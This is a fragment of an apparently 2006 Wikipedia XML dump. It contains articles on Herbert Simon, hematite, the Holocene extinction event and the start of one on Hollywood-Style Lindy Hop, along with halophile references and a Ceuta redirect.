Anton, J., Rossello-Mora, R., Rodriguez-Valera, F., and Amann, R. (2000) Extremely halophilic bacteria in crystallizer ponds from solar salterns. Applied and Environmental Microbiology 66: 3052-3057.

Casamayor, E.O., Massana, R., Benlloch, S., Ovreas, L., Diez, B., Goddard, V.J., Gasol, J.M., Joint, I., Rodriguez-Valera, F., and Pedros-Alio, C. (2002) Changes in archaeal, bacterial and eukaryal assemblages along a salinity gradient by comparison of genetic fingerprinting methods in a multipond solar saltern. Environmental Microbiology 4: 338-348.

Gutierrez, M.C., Kamekura, M., Holmes, M.L., Dyall-Smith, M.L., and Ventosa, A. (2002) Taxonomic characterisation of Haloferax sp. (&quot;H. alicantei&quot;) strain Aa 2.2: description of Haloferax lucentensis sp. nov. Extremophiles. 2002 Dec;6(6):479-83

Santos, H., and da Costa, M.S. (2002) Compatible solutes of organisms that live in hot saline environments. Environmental Microbiology 4: 501-509.

Oren, A. (2002) Molecular ecology of extremely halophilic Archaea and Bacteria. FEMS Microbiology Ecology: 1-7.

''See also:'' [[biosalinity]], [[halotolerance]]

[[Category:Extremophiles]]

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  <page>
    <title>Herbert Simon</title>
    <id>14205</id>
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        <ip>128.240.229.3</ip>
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      <text xml:space="preserve">[[Image:HerbertSimon.jpg|right|Herbert Simon, c. 2000]]

'''Herbert Alexander Simon''' ([[June 15]], [[1916]] &amp;ndash; [[February 9]], [[2001]]) was a researcher in the fields of [[cognitive psychology]], [[computer science]], [[public administration]], [[economics]] and [[philosophy]] (sometimes described as a [[polymath]]). 

He was awarded the [[Association for Computing Machinery|ACM]]'s [[Turing Award|A.M. Turing Award]] along with [[Allen Newell]] in [[1975]] for making &quot;basic contributions to artificial intelligence, the psychology of human [[cognition]], and list processing.&quot; In [[1978]] he was awarded [[The Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]] &quot;for his pioneering research into the decision-making process within economic organizations&quot;. He coined the terms ''[[bounded rationality]]'' and ''[[satisficing]]''.

He was born in [[Milwaukee]], [[Wisconsin]] in [[1916]].  He received his B.S. in [[1936]] from the [[University of Chicago]], where he was a member of the debate team. He earned a [[Doctor of Philosophy|Ph.D.]] in Political Science from the [[University of Chicago]] in [[1942]] with his dissertation in [[public administration]].  His dissertation was published as ''[[Administrative Behavior]]'', the book upon which his pioneering concepts and his Nobel Prize were based.  He held positions at [[University of California, Berkeley|Berkeley]] and the [[Illinois Institute of Technology]]. Simon served on the faculty of [[Carnegie Mellon University]] from [[1949]] until his death, pioneering the quantitative modeling of human behavior through research in a variety of fields.  

Simon was a pioneer in the field of [[artificial intelligence]], creating with [[Allen Newell]] the [[Logic Theory Machine]] ([[1956]]) and the [[General Problem Solver]] (GPS) ([[1957]]) programs. GPS was possibly the first method of separating problem solving strategy from information about particular problems. Both programs were developed using the [[Information Processing Language]](IPL) ([[1956]]) developed by Newell, [[Cliff Shaw]] and Simon. [[Donald Knuth]] mentions (in Volume 1 of ''[[The Art of Computer Programming]]'') the development of list processing in IPL with the [[linked list]] originally called &quot;NSS memory&quot; for its inventors.

With [[Allen Newell]], Simon developed a [[theory]] for the [[simulation]] of human [[problem solving]] behavior using production rules (Allen Newell and Herbert A. Simon, Human Problem Solving, [[1972]]).  The study of human [[problem solving]] required new kinds of human measurements and he, [[Allen Newell]], and colleagues helped to develop the experimental technique of verbal protocol analysis (K. A. Ericsson and H. A. Simon, Protocol Analysis: Verbal Reports as Data, [[1993]]).  Simon was interested in the role of knowledge in expertise.  He said to become an expert required about 10 years of experience and he and colleagues estimated that expertise was the result of learning roughly 50,000 chunks ([[chunking (psychology)]]) of information. A [[chess]] [[expert]] was said to have learned about 50,000 chunks or chess position patterns. (Chase and Simon. Perception in Chess. [[Cognitive Psychology]] Volume 4, [[1973]].) 

He was awarded the [[Association for Computing Machinery|ACM]]'s [[Turing Award|A.M. Turing Award]] along with [[Allen Newell]] in [[1975]] for &quot;In joint scientific efforts extending over twenty years, initially in collaboration with [[Cliff Shaw|J. C. (Cliff) Shaw]] at the [[RAND|RAND Corporation]], and subsequentially with numerous faculty and student colleagues at [[Carnegie Mellon University]], they have made basic contributions to [[artificial intelligence]], the psychology of [[human cognition]], and list processing.&quot;

While living in [[Pittsburgh, PA]], he advised the citizenry on various issues including the use of public funds to build stadiums and the method of raising tax revenue. Simon emphasized the usefulness of the [[land tax]], reflecting the early influence of [[Henry George]] on his economic thought.

==DECISIONS==
{{cleanup-section}}

''Administrative Behavior''&lt;sup&gt;1&lt;/sup&gt;was Herbert Simon’s doctoral dissertation and his first book. It served as the foundation for his lifetime of work. The centerpiece of  this book  is the behavioral and cognitive processes of making rational human choices, that is, decisions. An operational administrative decision should be correct and efficient, and it must be practical to implement with a set of coordinated means.

Any decision involves a choice selected from a number of alternatives, directed toward an organizational goal or subgoal. Realistic options will have real consequences consisting of personnel actions or non-actions modified by environmental facts and values. In actual practice, some of the alternatives may be conscious or unconscious; some of the consequences may be unintended as well as intended; some of the means and ends may be imperfectly differentiated,incompletely related,or poorly detailed.

The task of rational decision making is to select the alternative that results in the more preferred set of all the possible consequences. This task can be divided into three required steps:(1)the identification and listing of all the alternatives; (2)the determination of all the consequences  resulting from each of the alternatives; and(3)the comparison of the accuracy  and efficiency  of each of these sets of consequences.&lt;sup&gt;2&lt;/sup&gt;Any given individual or organization attempting to implement this model in a real situation would be unable to comply with the three requirements.To have the knowledge of all the alternatives,or of all the consequences to follow each alternative is a highly improbable situation. Even much less likely will be the capacity to make an evaluation of all the consequences.

The terrifying question that presents itself at this point is : Given the inevitable limits on rational decision making,what other techniques or behavioral processes can a man,woman,group or organization bring to bear to achieve the approximately best result?  Simon writes:“The human being striving for rationality and restricted within the limits of his knowledge has developed some working procedures that partially overcome these difficulties. These procedures consist in assuming that he can isolate from the rest of the world a closed system containing a limited number of variables and a limited range of consequences.”&lt;sup&gt;3&lt;/sup&gt;

Administrative Behavior, as a text, addresses a wide range of human behaviors, cognitive abilities, management techniques, personnel policies, training goals and procedures, specialized roles, criteria for evaluation of accuracy and efficiency, and,of course, all of the ramifications of communication processes.  Simon is particularly interested in how these factors directly and indirectly influence the making of decisions.

Weaving in and out of the practical functioning of all of these organizational factors are two universal elements of human social behavior that Simon addresses in Chapter VII—The Role of Authority&lt;sup&gt;4&lt;/sup&gt;, and in Chapter X—Loyalities, and Organizational Identification.&lt;sup&gt;5&lt;/sup&gt; 

Authority is a well studied, primary mark of organizational behavior, and is straightforwardly defined in the organizational context as the ability and right of an individual of higher rank to determine the decision of an individual of lower rank. The actions, attitudes, and relationships of the dominant and subordinate individuals constitute components of role behavior that can vary widely in form,style,and content,but do not vary in the expectation of obedience by the one of superior status, and willingness to obey from the suborninate. Authority is highly influential on the formal structure of the organization, including patterns of communication, sanctions,and rewards as well as on establishing the goals, objectives , and values of the organization. 

Decisions can be complex admixtures of facts and values. Information about facts, especially empirically proven facts,or facts derived from specialized experience are more easily transmitted in the exercise of authority than are the expressions of values.Simon is primarily interested in seeking identification of the individual employee with the organizational goals and values. Following Lasswell&lt;sup&gt;6&lt;/sup&gt; he states that “a person identifies himself with a group when, in making a decision, he evaluates the several alternatives of choice in terms of their consequences for the specified group”&lt;sup&gt;7&lt;/sup&gt;. A person may identify himself, or herself with any number of social, geographic, economic, racial, religious, familial, educational, gender, political, and sports groups. Indeed, the number and variety are unlimited, and ubiquitous. The fundamental problem for organizations is to recognize that personal and group identifications can either facilitate or obstruct correct decision making for the organization. A specific organization has to deliberately determine and specify in appropriate detail and clear language its own goals, objectives, means, ends, and values.
It is further desired that these important factors be internalized in the psychology of the individual participants. 

Chester Bernard is cited as responsible for pointing out that “the decisions that an individual makes as a member of an organization are quite distinct from his personal decisions”&lt;sup&gt;8&lt;/sup&gt;. Personal choices may determine whether an individual joins a particular organization, and continue to be made in his or her extra–organizational private life. But,as a member of an organization, that individual makes decisions not in relationship to personal needs and results, but in an impersonal sense as part of the organizational intent, purpose, and effect. Organizational inducements, rewards, and sanctions are all designed to form, strengthen, and maintain this identification.

The correctness of decisions are measured by two major criteria:1.adequacy of achieving the desired objective; and 2.the efficiency with which the result was obtained. Many members of the organization may focus on adequacy,but the overall administrative management must pay particular attention to the efficiency with which the desired result was abtained with the utilization or expenditure of minimum resources.

NOTES   
*1.Simon, Herbert,''Administrative Behavior'', The Free Press, New York. 1976, 3rd. ed. 364pp 
*2.Simon, op.cit.p 67
*3.Simon, op.cit.p.82 
*4.Simon, op.cit.p.123-153
*5.Simon, op.cit.p.198-216
*6.Lasswell, H.D., ''World Politics and Personal Insecurity'' New York:Whittlesey House,1935 pp.29-51,cited by Simon,in op.cit.p.205
*7.Simon,in op.cit.p205
*8.Barnard,C.I, ''The Functions of the Executive  Cambridge''Harvard University Press,1938 p77, cited by Simon in op.cit. p202-203

==Interesting quotes==
* Most producers are employees, not owners of the firms..... Viewed from the vantage point of classical [economic] theory, they have no reason to maximize the profits of the firms, except to the extent that they can be controlled by owners.... Moreover, there is no difference, in this respect, among profit-making firms, non-profit organizations, and bureaucratic organizations. All have exactly the same problem of inducing their employees to work toward the organizational goals. There is no reason, a priori, why it should be easier (or harder) to produce this motivation in organizations aimed at maximizing profits than in organizations with different goals. The conclusion that organization motivated by profits will be more efficient than other organizations does not follow the organizational economy from the neo-classical assumptions. If it is empirically true, other axioms will have to be introduced to account for it.

* &quot;What information consumes is rather obvious: it consumes the attention of its recipients. '''Hence a wealth of information creates a poverty of attention''', and a need to allocate that attention efficiently among the overabundance of information sources that might consume it.&quot; (''Computers, Communications and the Public Interest'', pages 40-41, Martin Greenberger, ed., The Johns Hopkins Press, 1971.)

==Selected bibliography==
*''Administrative Behavior'' [[1947]]
*''Models of Man'' [[1957]]
*''Organizations'' [[1959]]
*''Models of Discovery'' [[1977]]
*''Models of Thought'' [[1979]], [[1989]]
*''Models of Bounded Rationality'' [[1982]]
*''Models of My Life'' [[1991]]
*''The Sciences of the Artificial (3rd Edition)'' [[1996]]

==Reference==
H. Simon, &quot;Organizations and markets,&quot; Journal of Economic Perspectives, vol. 5, no. 2 (1991), p. 28.

==External links==
*[http://www.cs.cmu.edu/simon/ A Tribute to Herbert A. Simon]
*[http://web.archive.org/web/20041130094600/http://www.psy.cmu.edu/psy/faculty/hsimon/hsimon.html Herbert Simon's departmental web pages at Carnegie Mellon University as they were at the time of his death in 2001]
*[http://diva.library.cmu.edu/Simon/ Full-text digital archive of Herbert Simon]
*[http://werdet.atspace.com/bin/simonntation-speech.html pioneering research into the decision-making process within economic organizations]

[[Category:1916 births|Simon, Herbert]]
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[[Category:National Medal of Science recipients|Simon, Herbert]]
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[[Category:People from Wisconsin|Simon, Herbert]]
[[Category:Turing Award laureates|Simon, Herbert]]

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    <title>History of Ceuta</title>
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        <username>Angela</username>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Ceuta]]</text>
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  <page>
    <title>Hematite</title>
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      <timestamp>2006-02-17T15:36:33Z</timestamp>
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      <comment>Reverted edits by [[Special:Contributions/81.76.30.210|81.76.30.210]] ([[User talk:81.76.30.210|talk]]) to last version by MTSbot</comment>
      <text xml:space="preserve">{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot;
|----- align=center bgcolor=&quot;lightgrey&quot;
!colspan=2 align=center|Hematite
|----- align=center
!colspan=2|[[Image:HematiteUSGOV.jpg|thumb|center|Hematite]]
[[image:hematite.bear.660pix.jpg|center|thumb|200px|Hematite carving, 5 cm (2 in) long.]]
|----- align=center bgcolor=&quot;lightgrey&quot;
!colspan=2|General
|-----
|Category||[[Mineral]]
|-----
|[[Chemical formula]]|| [[iron (III) oxide]], Fe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;, α-Fe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;
|----- align=&quot;center&quot; bgcolor=&quot;lightgrey&quot;
!colspan=2|Identification
|-----
| Colour || Metallic grey to earthy red
|-----
| [[Crystal habit]] || Tabular to thick crystals
|-----
| [[Crystal structure|Crystal system]] || [[Hexagonal]] (rhombohedral)
|-----
| [[Cleavage (crystal)|Cleavage]]|| None
|-----
| [[Fracture]]|| Uneven to sub-conchoidal
|-----
| [[Mohs Scale]] hardness || 5.5 - 6.5
|-----
| Luster|| Metallic to splendent
|-----
| [[Refractive index]]|| Opaque
|-----
| [[Pleochroism]]|| None
|-----
| [[Streak]]|| Bright red to dark red
|-----
| [[Specific gravity]]|| 4.9 - 5.3
|-----
| [[Fusibility]]|| ?
|-----
| [[Solubility]]|| ?
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Major varieties
|-----
| [[Specularite]]||
|-----
|}

'''Hematite''' ([[American English|AE]]) or '''haematite''' ([[British English|BE]]) is the [[mineral]] form of [[Iron (III) oxide]], (Fe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;), one of several [[iron oxide]]s. The [[ore]] sometimes contains slight amounts of [[titanium]]. When shaped into ornaments, it is often called black diamond.

[[Image:Hematite.jpg|left|thumb|200px|Hematite (kidney ore) from Michigan]]

Hematite is a very common mineral, coloured black to steel or silver-gray, brown to reddish brown, or red. It is [[mining|mined]] as the main ore of iron. Varieties include Bloodstone, Iron Rose, Kidney Ore, Martite, Paint Ore, Specularite (Specular Hematite), Rainbow Hematite and Titano-hematite. While the forms of hematite vary, they all have a rust-red streak. Hematite is harder than pure iron, but much more brittle.

Deposits of grey hematite are typically found in places where there has been standing water or mineral [[hot spring]]s, such as those in [[Yellowstone]]. The mineral can [[Precipitation (chemistry)|precipitate]] out of water and collect in layers at the bottom of a lake, spring, or other standing water. But hematite can also occur without water, as the result of [[Volcano|volcanic]] activity.

[[Clay]]-sized hematite crystals can also occur as a secondary mineral formed by weathering processes in [[soil]], and along with other iron oxides or oxyhydroxides such as [[goethite]], is responsible for the red color of many tropical, ancient, or otherwise highly weathered soils.

The name hematite is derived from the [[Greek language|Greek]] word for blood, since sometimes hematite can be red, as in [[Rouge]], a powderized form of hematite. It shares this root with the word [[hemoglobin]]. Hemoglobin is the oxygen-transporting molecule in [[red blood cell]]s, the iron of which causes blood to be red. The color of hematite lends it well in use as a pigment.

[[Image:Rainbow_hematite_MG.jpg|left|thumb|200px|Rainbow Hematite from Brazil]]

Especially nice specimens of hematite come from [[England]], [[Mexico]], [[Brazil]], [[Australia]] and the [[Lake Superior]] region of the [[United States]] and [[Canada]].

Hematite is an [[antiferromagnetic]] material below the Morin transition at 260K, and a canted antiferromagnet or weakly [[ferromagnetic]] above the Morin transition.
[http://www.earthsci.unimelb.edu.au/ES304/MODULES/MAG/NOTES/typesmag.html].

==Hematite on Mars==

Hematite can be formed by aqueous processes, [[weathering]] processes, or without water. In 2004, NASA's [[Mars Exploration Rover Mission|Mars rover]] ''[[MER-B|Opportunity]]'' discovered small spheres believed to be made partly or mostly of hematite. The spheres are only a few millimeters in diameter and are believed to have formed as rock deposites under watery conditions billions of years ago when [[Mars (planet)|Mars]] was a wetter world. The rover used its instruments (a [[Mössbauer spectrometer|Mössbauer spectrometer]]) to test how the hematite found on Mars at Meridiani Planum was formed.

==See also==
*[[Iron ore]]
*[[Iron oxide]]
*[[List of minerals]]

==External links==
* [http://marsrovers.jpl.nasa.gov/gallery/press/opportunity/20040212a/07-ml-3-soil-mosaic-B019R1_br.jpg Mars spheres image].
* [http://marsrovers.jpl.nasa.gov/gallery/press/opportunity/20040219a/08-AY-3-shiny-B026R1_br.jpg Mars trench image showing a shiny texture of half-buried spheres] (dark line is equipment shadow)

[[Category:Oxide minerals]]
[[Category:Iron minerals]]

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  <page>
    <title>Holocene extinction event</title>
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      <comment>disambig &quot;elk&quot;</comment>
      <text xml:space="preserve">The '''Holocene extinction event''' is a name customarily given to the widespread, ongoing [[extinction]] of species occurring in the modern [[Holocene]] [[epoch (geology)|epoch]]. The extinctions vary from [[mammoth]]s to [[Dodo]]s, to countless species in the rainforest dying every year.  Because some believe  the rate of this [[extinction event]] is comparable to the &quot;Big Five&quot; mass extinctions, it is also known as the '''Sixth Extinction''', though the actual numbers of extinct species are not yet similar to the major mass extinctions of the geologic past.

In broad usage, the Holocene extinction event includes the remarkable disappearance of large mammals, known as [[megafauna]], near the end of the [[last ice age]] between 9,000 and 13,000 years ago.  Such disappearances have been considered as either a response to climate change, a result of the spread and proliferation of [[modern human]]s, or both.  These extinctions, occurring near the [[Pleistocene]] / Holocene boundary, are sometimes referred to as the '''Pleistocene extinction event''' or Ice Age extinction event.  

The observed rate of extinction has risen dramatically in the last 50 years.  There is no general agreement on whether to consider more recent extinctions as a distinct event or merely part of a single escalating process.  Only during these most recent parts of the extinction have [[plant]]s also suffered large losses. Overall, the Holocene extinction event is most significantly characterised by the presence of man-made driving factors and its very short [[geological timescale]] (tens to thousands of years) compared to most other extinction events.

==The prehistoric extinction events==
The current ongoing extinction event seems more outstanding if we follow tradition and separate the recent extinction (approx. since the [[industrial revolution]]) from the extinction near the end of the last ice age. In [[caveman|popular imagination]] the latter is exemplified by the extinction of the woolly [[mammoth]] and, incorrectly, the [[Neanderthal]] people. 

However, it is worth remembering that modern [[climatology]] suggests the Holocene epoch we live in is no more than the latest in a series of [[interglacial]] intervals between [[glaciation]] events, one that will perhaps become artificially extended by [[global warming]]. Furthermore, there is a continuum of extinctions between 13,000 years ago and now. If only considering human impact, the vulnerability and extinction rate of species simply rises with the rise of technology, so there would be no need to separate both events. Nevertheless, the Pleistocene extinction event is large enough and hasn't been resolved completely.

===The Pleistocene or Ice Age extinction event===

The Ice Age extinction event is characterised by the extinction of large mammals weighing more than 40 kg. In [[North America]] around 33 of 45 [[genus|genera]] of large mammals went extinct, in [[South America]] 46 of 58, in [[Australia]] 15 of 16, in [[Europe]] 7 of 23, and in [[Subsaharan Africa]] only 2 of 44. The South American extinction witnessed the aftermath of the [[Great American Interchange]]. Only in South America and Australia did the extinction occur at family-level or higher.

There are two main hypotheses concerning this extinction:
*The animals died off because of [[climate change]]: the retreat of the [[ice cap]]
*The animals were exterminated by humans: the &quot;prehistoric overkill hypothesis&quot; (Martin, 1967)

The prehistoric overkill hypothesis is not universally applicable, and is imperfectly confirmed. For instance, the timing of sudden megafaunal extinctions of large [[Australia]]n [[marsupial]]s and a giant lizard, events that followed the arrival of human beings in Australia by many thousand years, need examining. Biologists note that comparably scaled extinctions have not occurred in [[Africa]] either, where the fauna evolved with hominids. Post-glacial megafaunal extinctions in Africa have been spaced over a longer interval.

An alternative to the theory of human responsibility is [[Tollmann's hypothetical bolide|Alexander Tollmann's bolide theory]], a more controversial hypothesis that claims that the [[Holocene]] was initiated by an [[extinction event]] caused by [[bolide]] impacts.

====Major megafaunal extinctions====
=====Europe=====
(circa 15,000 years ago)
* [[Woolly Mammoth]]
* [[Woolly Rhinoceros]]
* [[Irish Elk]]
* [[Cave Lion]]
* [[Cave Bear]]
* [[Giant Hyaena]]

=====Mediterranean Islands=====
(by 9000 years ago)
* a pygmy [[hippopotamus]] (''Phanourios minutus'') of [[Cyprus]]
* the Balearic Islands Cave Goat (''[[Myotragus_balearicus|Myotragus balearicus]]'') of [[Majorca]] and [[Minorca]]
* [[dwarf elephant]]s: ''Palaeoloxodon cypriotes'' of Cyprus, ''P. falconeri'' of [[Sicily]] and [[Malta]]
* Giant [[Swan]] (''Cygnus falconeri'') of Malta
* Giant [[Rat]] of Majorca

=====North America=====
(circa 12,000-9000 years BP), 35 to 40 species of large mammals (and only about half a dozen small mammals, such as mice and rats) disappeared. Previous North American extinction pulses had occurred at the end of glaciations, but not with such an imbalance between large mammals and small ones. The megafaunal extinctions include twelve genera of edible grazers ('''G'''), and five large, dangerous carnivores ('''C'''). North American extinctions included

&lt;!--please substantuate this general list--&gt;
* American [[Horse]]s, five species (Asian horses survived) ('''G''') 
* a few species of  Western [[Camel]]s ('''G''')
* North American [[llama|llamas]] ('''G''')
* Deer, two genera ('''G''')
* Pronghorn, two genera (one survived) ('''G''')
* Stag-Moose, Shrub-Oxen, Woodland Muskoxen (an Arctic one survived) ('''G''')
* Giant Beaver
* Shasta [[Ground Sloth]] and other Ground Sloths
* [[Arctodus|Short-Faced Bear]]s (larger than the present [[Grizzly Bear]]), ''cf'' [[Cave Bear]] ('''C''')
* [[Saber-toothed cat]]s ('''C''')
* American Lion (larger than the current African [[Lion]] but probably a fairly recent immigrant through [[Beringia]]) ('''C''')
* American Cheetah ('''C''')
* [[Dire Wolf]] ('''C''')
* [[Mammoth]], several species 
* American [[Mastodont]], ''Mammut americanum''
* The giant progenitor sub-species of the surviving [[Bison]]
* Giant [[Peccary]]

The survivors are as significant as the losses: [[Bison]], [[Moose]] (recent immigrants through [[Beringia]]), [[Wapiti]] ([[Red Deer|Elk]]), [[Caribou]], [[Deer]], Pronghorn, Muskox, Bighorn Sheep, Mountain Goat. All save the Pronghorns descended from Asian ancestors that had accommodated with human predators. This connection has recently been expanded upon and supported in detail by R. D. E. MacPhee, ''Extinctions in Neartime,'' 1999, an outgrowth of an [[American Museum of Natural History]] conference on extinctions, 1997.

The culture that has been connected with the wave of extinctions in North America is the paleo-Indian culture associated with the [[Clovis culture|Clovis people]] (''q.v.''), which was thought to use [[atlatl|spear thrower]]s to kill large animals. The chief opposition to the 'prehistoric overkill' hypothesis has been that population of humans such as the Clovis culture were too small to be ecologically significant. Other generalized evocations of climate change fail under detailed scrutiny.

According to [[Jared Diamond]]'s ''[[Guns, Germs and Steel]]'', the lack of tameable megafauna was one of the reasons why [[Native American (Americas)|Amerindian civilization]]s developed at a slower rate than [[Old World]] ones.
Critics have disputed this by argueing that there was no lack of tameable megafauna; llama, vicuna, bison were all there.

'''Reference''' : E. C. Pielou, ''After the Ice Age: the return of life to glaciated North America,'' 1991

=====South America=====
South America, which had remained largely unglaciated, except for increased mountain glaciation in the [[Andes]], there was a contemporaneous but smaller wave of extinctions.

=====Australia=====
(''ca.'' 26000-15000 BP) the sudden spate of extinctions came earlier than in the Americas, but lagged well after the first arrival of humans. The Australian extinctions included:

* [[diprotodon]]s (giant relatives of the [[wombat]]s)
* ''Zygomaturus trilobus'' (a large [[marsupial]] herbivore)
* ''Palorchestes azael'' (a marsupial &quot;[[tapir]]&quot;)
* ''Macropus titan'' (a giant [[kangaroo]])
* ''Procoptodon goliah'' (a hoof-toed giant short-faced kangaroo)
* ''Wonambi naracoortensis'' (a five-to-six-metre-long Australian constrictor [[snake]])
* ''[[Thylacoleo]] carnifex'' (a leopard-sized marsupial lion)
* ''[[Megalania prisca]]'' (a giant monitor lizard)

Some extinct megafauna, such as the [[bunyip]]-like [[diprotodon]], may be the sources of ancient [[cryptozoology|cryptozoological legends]].

===Younger prehistoric extinctions===
&lt;!--needs moving around--&gt;

====New Zealand====

c. 1200 years ago, several species became extinct after [[Polynesia]]n settlers arrived, including:
* Ten species of [[Moa]], giant flightless [[ratite]] birds.
* The giant Haast's Eagle, ''[[Harpagornis]]''
* The flightless predatory [[Adzebill]]s.

====Pacific, including Hawaii====
Recent research, based on [[archeology|archaeological]] and [[paleontology|paleontological]] digs on 70 different islands, has shown the numerous species went extinct as people moved across the Pacific, starting 30,000 years ago in the [[Bismarck Archipelago]] and  [[Solomon Islands]] (Steadman &amp; Martin [[2003]]). It is currently estimated that among the bird species of the Pacific some 2000 species have gone extinct since the arrivial of humans (Steadman [[1995]]). Among the extinctions were:
* The [[Moa-nalo]]s, giant grazing ducks from [[Hawaii]].
* A giant [[megapode]] from [[New Caledonia]].
* [[Mekosuchine crocodiles]] from New Caledonia [[Fiji]] and [[Samoa]].

====Madagascar====

Starting with the arrival of humans c. 2000 years ago, nearly all of the island's megafauna became extinct, including:
* the ''[[Aepyornis]]'', or Elephant Bird, a giant flightless [[ratite]] bird.
* 17 of 50 species of lemur, including:
** giant [[aye-aye]] ''(Daubentonia robusta)''; last known individual killed 1930
** sloth lemurs, including chimpanzee-sized ''[[Palaeopropithecus]]'' and gorilla-sized ''[[Archaeoindris]]''
** ''[[Megaladapis]]'', an orangutan-sized arboreal lemur
* [[giant tortoise]]
* pygmy [[hippopotamus]]

====Indian Ocean Islands====

Starting c. 500 years ago, a number of species became extinct upon human settlement of the islands, including:
* several species of giant tortoise on the [[Seychelles]] and [[Mascarene Islands]]
* 14 species of [[extinct birds|birds]] on the Mascarene Islands, including the [[Dodo]], the [[Rodrigues Solitaire]], and the unrelated [[Réunion Sacred Ibis|Réunion Solitaire]].

==The Ongoing Holocene Extinction==

The rate of extinction today appears to be similar to, or perhaps greater than, the rate during the five 'classic' [[extinction event]]s in deep geological time, such as the [[Permian-Triassic extinction event]] that extinguished some 90% of the [[Paleozoic]] [[biota]], or the [[Cretaceous-Tertiary extinction event]] that eliminated all non-avian [[dinosaur]]s  at the end of the [[Cretaceous]], 65 million years ago.

The current Holocene extinction differs from all previous extinction events in that it appears to be caused by a single species&amp;mdash;humans. The coincidence between the appearance of modern humans and the extermination of large mammalian Ice Age biota ('[[megafauna]]') is thought significant by many authorities, and has been given the name 'the prehistoric overkill' by [[Paul S. Martin]], [[University of Arizona]]. 

Megafaunal extinctions have continued to the present day. Modern extinctions are more directly attributable to human influences. Extinction rates are minimized in the popular imagination by the survival of captive trophy populations of animals that are merely &quot;extinct in the wild,&quot; (Père David's Deer, etc) and by marginal survivals of highly-publicized megafauna that is &quot;ecologically extinct&quot; ([[Giant Panda]], [[Sumatran Rhinoceros]], the North American [[Black-Footed Ferret]], etc.) and by unregarded extinctions among [[arthropod]]s. Some notable examples of modern extinctions of &quot;charismatic&quot; mammal fauna:  

* [[Aurochs]], Europe
* [[Thylacine]] or Tasmanian Tiger, ''Thylacinus cynocephalus'', Tasmania [''extinction disputed'']
* [[Quagga]], a zebra relative, Southeast Africa
* [[Steller's Sea Cow]]
 

Many birds have become extinct as a result of human activity, especially birds [[endemic (ecology)|endemic]] to islands, including many flightless birds (''see a more complete list under ''[[extinct birds]]). Notable extinct birds include:

* the [[Dodo]], the giant flightless [[pigeon]] of [[Mauritius]], [[Indian Ocean]]
* the [[Great Auk]] of islands in the north Atlantic
* the [[Passenger Pigeon]] of North America
* several species of [[Moa]], giant flightless birds from New Zealand

Most biologists believe that we are at this moment at the beginning of a tremendously accelerated anthropogenic mass extinction. [[E.O. Wilson]] of Harvard, in ''The Future of Life'' (2002), estimates that at current rates of human destruction of the biosphere, one-half of all species of life will be extinct in 100 years.  In 1998 the American Museum of Natural History conducted a poll of biologists that revealed that the vast majority of biologists believe that we are in the midst of an anthropogenic mass extinction.  Numerous scientific studies since then&amp;mdash;led by the 10,000 scientists who contribute to the [[IUCN]]'s annual [[Red List]] of threatened species&amp;mdash;have only strengthened this consensus.

Our evidence for all previous extinction events is geological evidence, and the shortest scales of geological time usually are in the order of several hundred thousand to several million years. Even those extinction events that were caused by instantaneous events &amp;mdash; the [[Chicxulub Crater|Chicxulub]] [[asteroid]] impact being currently the demonstrable example &amp;mdash; unfold through the equivalent of many human lifetimes, due to the complex ecological interactions that are unleashed by the event.

There still is debate as to the extent to which the disappearance of megafauna at the end of the last [[ice age]] can also be attributed to human activities, directly, by hunting, or indirectly, by decimation of prey populations. While [[climate change]] is still cited as another important factor, anthropogenic explanations have become predominant. 

Those who are skeptical about the impending mass extinction argue that even if the current rate of extinction is higher than the rate during a great [[mass extinction event]], as long as the current rate does not last more than a few thousand years, the overall effect will be small. There is still hope, argue some, that humanity can eventually slow the rate of extinction through proper ecological management. Current socio-political trends, others argue, indicate that this idea is overly optimistic. Most hopes are set on [[sustainable development]] and moderate forms of [[Anarcho-primitivism|primitivism]].

==External links==
* [http://www.well.com/user/davidu/extinction.html The Current Mass Extinction Event]
* [http://www.amnh.org/museum/press/feature/biofact.html American Museum of Natural History official statement on current mass extinction]
* [http://extinct.petermaas.nl The Extinction Website]

==References==
* Leakey, Richard and Roger Lewin, 1996, ''The Sixth Extinction : Patterns of Life and the Future of Humankind'', Anchor, ISBN 0385468091.
* Martin, P.S. &amp; Wright, H.E. Jr., eds., 1967. ''Pleistocene Extinctions: The Search for a Cause''. Yale University Press, New Haven, 440 pp., ISBN 0300007558
* Pielou, E. C., 1991, ''After the Ice Age: the return of life to glaciated North America'', University Of Chicago Press, ISBN 0226668118
* Steadman, D.W., 1995. Prehistoric extinctions of Pacific island birds: biodiversity meets zooarchaeology. ''Science'' '''267''', 1123–1131.
* Steadman, D.W., Martin, P.S., 2003. [http://www.eeb.cornell.edu/donlan/readings/Steadman%20and%20Martin%202003.pdf The late Quaternary extinction and future resurrection of birds on Pacific islands]. ''Earth-Science Reviews'' '''61''', 133–147 

[[Category:Extinction events]]
[[Category:Holocene]]</text>
    </revision>
  </page>
  <page>
    <title>Hollywood-Style Lindy Hop</title>
    <id>14209</id>
    <revision>
      <id>40635004</id>
      <timestamp>2006-02-21T23:41:57Z</timestamp>
      <contributor>
        <ip>146.186.44.179</ip>
      </contributor>
      <text xml:space="preserve">The '''Hollywood Style Lindy''' is an [[United States|America]]n [[dance]], a variety of [[Lindy Hop]].

The style is very popular on the west coast of the [[United States|US]], though is danced all over the USA and other countries as well. 

Hollywood is the style seen in [[1930s]] and [[1940s]] movies. It was danced by [[Dean Collins]], Hal Takier, Jean Veloz and others. The style was essentially lost in the post-war era, but it was reconstructed in the late [[1990s]] by Erik Robison and Sylvia Skylar. They were the first to call it &quot;Hollywood Style&quot;.

Hollywood Style Lindy Hop is a fun, upbeat dance with tons of opportunities to expand the style and make your own moves. The [[Swing Out]] (the basic step of lindy) is danced in a position often described as someone about to sit on a stool, thereby bringing their center point of balance closer to the ground.  This piked position is the classic look of Hollywood with a straight back straight and slight forward tilt.  The Hollywood style is also a &quot;slotted&quot; dance, meaning the follow travels in a straight line instead of the more elliptical or circular Savoy style [[Lindy Hop]].

